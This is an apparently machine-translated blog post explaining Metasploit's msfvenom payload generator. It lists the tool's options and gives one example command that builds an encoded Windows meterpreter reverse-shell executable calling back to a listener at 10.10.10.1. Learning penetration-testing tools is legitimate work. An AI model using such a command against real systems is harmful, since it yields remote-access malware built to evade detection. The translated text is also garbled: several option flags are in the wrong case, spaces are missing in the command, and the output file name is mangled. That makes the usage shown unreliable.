There is wood there is often a need to get the content of the msfpayload through the R command to import the pipeline output to the Msfencode to encode, there is wood to think it's all very troublesome,
Metasploit's developers have long thought of it. Msfvenom is a combination of msfpayload and Msfencode, which is more convenient to use.
usage:msfvenom [Options] <var=val>
Options:
-P,--payload <payload> payload to use. Specify a '-' or stdin to use custom payloads
-L,--list [Module_type] List A module type example:payloads, encoders, Nops, all
-N,--nopsled <length> prepend a nopsled of [length] size on to the payload
-F,--format <format> Output format (use--help-formats for a list)
-E,--encoder [encoder] the encoder to use
-A,--arch <architecture> the architecture to use:
--platform <platform> The platform of the payload
-S,--space <length> the maximum size of the resulting payload
-B,--bad-chars <list> the list of characters to avoid example: ' \x00\xff '
-I,--iterations <count> the number of times to encode the payload
-C,--add-code <path> Specify an additional Win32 Shellcode file to include
-X,--template <path> Specify a custom executable file to use as a template
-K,--keep Preserve the template behavior and inject the payload as a new thread
-O,--options List the payload ' s standard options
-H,--help Show this message
--help-formats List Available formats
Example
Msfvenom-p windows/meterpreter/reverse_tcp lhost=10.10.10.1 lport=4444-e x86/shikata_ga_nai-b ' 0x00 '-i 5-f exe >te St.exe
At the same time share a better Metasploit learning site:
Http://www.offensive-security.com/metasploit-unleashed/Main_Page
Learn for free and donate money to support education in poor areas.